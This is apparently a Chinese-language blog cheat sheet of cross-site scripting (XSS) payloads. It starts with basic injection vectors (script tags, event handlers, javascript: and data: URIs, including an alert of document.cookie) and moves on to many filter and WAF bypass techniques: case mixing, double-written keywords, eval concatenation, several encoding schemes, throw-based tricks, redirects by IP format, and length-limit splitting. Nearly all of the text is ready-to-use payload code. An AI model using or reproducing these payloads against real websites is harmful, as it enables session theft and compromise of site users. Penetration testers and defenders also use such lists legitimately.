本文最后更新于 2025年7月14日 凌晨
📌 1、基本语句
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| <script>alert(1)</script> <script>prompt(1)</script> <script>confirm(1)</script> <script>console.log(1)</script> # 如果目标定义了console.log才能弹 <script>alert(document.cookie)</script> # 查看cookie
# 图片加载错误时触发 <img src="x" onerror=alert(1)> <img src="1" onerror=eval("alert('xss')")> # 鼠标指针移动到元素时触发 <img src=1 onmouseover="alert(1)"> # 鼠标指针移出时触发 <img src=1 onmouseout="alert(1)">
<a href=javascript:alert(1)> <a href="https://www.qq.com">qq</a> <a href=javascript:alert('xss')>test</a> <a href="javascript:a" onmouseover="alert(/xss/)">aa</a> <a href="" onclick=alert('xss')>a</a> <a href="" onclick=eval(alert('xss'))>aa</a> <a href=kycg.asp?ttt=1000 onmouseover=prompt('xss') y=2016>aa</a>
# 元素上按下鼠标时触发 <p onmousedown="alert(1)">text</p> # 元素上释放鼠标时触发 <p onmouseup="alert(1)">text</p>
# 元素上点击鼠标时触发 <button onclick="alert(1)">text</button>
<input onfocus="alert('xss');"> # 竞争焦点,从而触发onblur事件 <input onblur=alert("xss") autofocus><input autofocus> # 通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发 <input onfocus="alert('xss');" autofocus> <input name="name" value=""> <input value="" onclick=alert('xss') type="text"> <input name="name" value="" onmouseover=prompt('xss') bad=""> <input name="name" value=""><script>alert('xss')</script> # 按下按键时触发 <input type="text" onkeydown="alert(1)"> # 按下按键时触发 <input type="text" onkeypress="alert(1)"> # 松开按键式时触发 <input type="text" onkeyup="alert(1)">
<form action=javascript:alert('xss') method="get"> <form action=javascript:alert('xss')> <form method=post action=aa.asp? onmouseover=prompt('xss')> <form method=post action=aa.asp? onmouseover=alert('xss')> <form action=1 onmouseover=alert('xss)> <form method=post action="data:text/html;base64,<script>alert('xss')</script>"> <form method=post action="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframe onload=alert("xss");></iframe> <iframe src=javascript:alert('xss')></iframe> <iframe src="data:text/html,<script>alert('xss')</script>"></iframe> <iframe src="data:text/html;base64,<script>alert('xss')</script>"> <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="> <iframe src="aaa" onmouseover=alert('xss') /><iframe> <iframe src="javascript:prompt(``xss``)"></iframe>
|
📌 2、绕过限制
绕过空格
1 2
| # 用 / 代替空格 <img/src="x"/onerror=alert("xss");>
|
绕过关键字
1 2 3 4 5 6 7 8
| # 大小写绕过 <ImG sRc=x onerRor=alert("xss");> # 双写关键字(有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过) <imimgg srsrcc=x onerror=alert("xss");> # 字符拼接(利用eval) <img src="x" onerror="a=aler;b=t;c='(xss);';eval(a+b+c)"> # 字符拼接(利用top) <script>top["al"+"ert"](``xss``);</script>(只有两个``这里是为了凸显出有`符号)
|
其它字符混淆
1 2 3 4 5 6
| # 利用注释和标签优先级 <<script>alert("xss"); <scri<!--test-->pt>alert("hello world!")</scri<!--test-->pt> <title><img src=</title>><img src=x onerror="alert(``xss``);"> # 因为title标签的优先级比img的高,所以会先闭合title,从而导致前面的img标签无效 <SCRIPT>var a="\\";alert("xss");//";</SCRIPT>
|
编码绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| # Unicode编码绕过 <img src="x" onerror="&# 97;&# 108;&# 101;&# 114;&# 116;&# 40;&# 34;&# 120;&# 115;&# 115;&# 34;&# 41;&# 59;"> <img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')"> # url编码绕过 <img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))"> <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe> # Ascii码绕过 <img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))"> # Hex绕过 <img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')> # 八进制绕过 <img src=x onerror=alert('\170\163\163')> # base64绕过 <img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))"> <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
|
过滤双引号,单引号
1 2 3
| # html标签内可省略引号;js中可用反引号代替单双引号 <img src="x" onerror=alert(``xss``);> # 使用编码绕过
|
过滤括号
1 2
| # 括号被过滤可用throw绕过 <svg/onload="window.onerror=eval;throw'=alert\x281\x29';">
|
过滤url地址
1 2 3 4 5 6 7 8 9 10
| # 使用url编码 <img src="x" onerror=document.location=``http: # 使用IP格式 <img src="x" onerror=document.location=``http: <img src="x" onerror=document.location=``http://0177.0.0.01/``>八进制 <img src="x" onerror=document.location=``http://0x7f.0x0.0x0.0x1/``>十六进制 <img src="x" onerror=document.location=``//www.baidu.com``>html标签中用//代替http:// # 使用反斜杠(注意Windows下为file协议) # 中文逗号代替英文逗号 <img src="x" onerror="document.location=``http://www。baidu。com``">//会自动跳转
|
📌 3、绕过思路
一、白名单绕过
1
| <title><img src="xxx"></title>
|
1.闭合标签构造语句
当白名单较宽松,” 和 <> 均可用时:
1
| <title><img src=""><img src="" onerror="alert(5)"/>"></title>
|
若 “ 被限制,可利用HTML标签优先级:
1
| <title><img src="</title><img src=1 onerror=alert(1)>"></title>
|
2.闭合属性构造xss
若 <> 不可用,但onerror属性可控,可闭合src属性构造:
1
| <title><img src="x" onerror="alert(1)"></title>
|
若 <> ‘ “ 全部限制,可用实体编码绕过:
1
| <img src="x" onerror="alert(1)">
|
二、绕过长度限制
长度限制在20字符以内时,可用分段拼接:
1 2 3 4
| <p><img src="xxx"></p>
# 基本闭合语句 "><script>alert(1)</script>
|
此语句较长,可用多点分段结合注释拼接:
1.利用注释符拼接
1 2 3
| <p><img src=""><script>/*"></p> <p><img src="*/alert(1)/*"></p> <p><img src="
|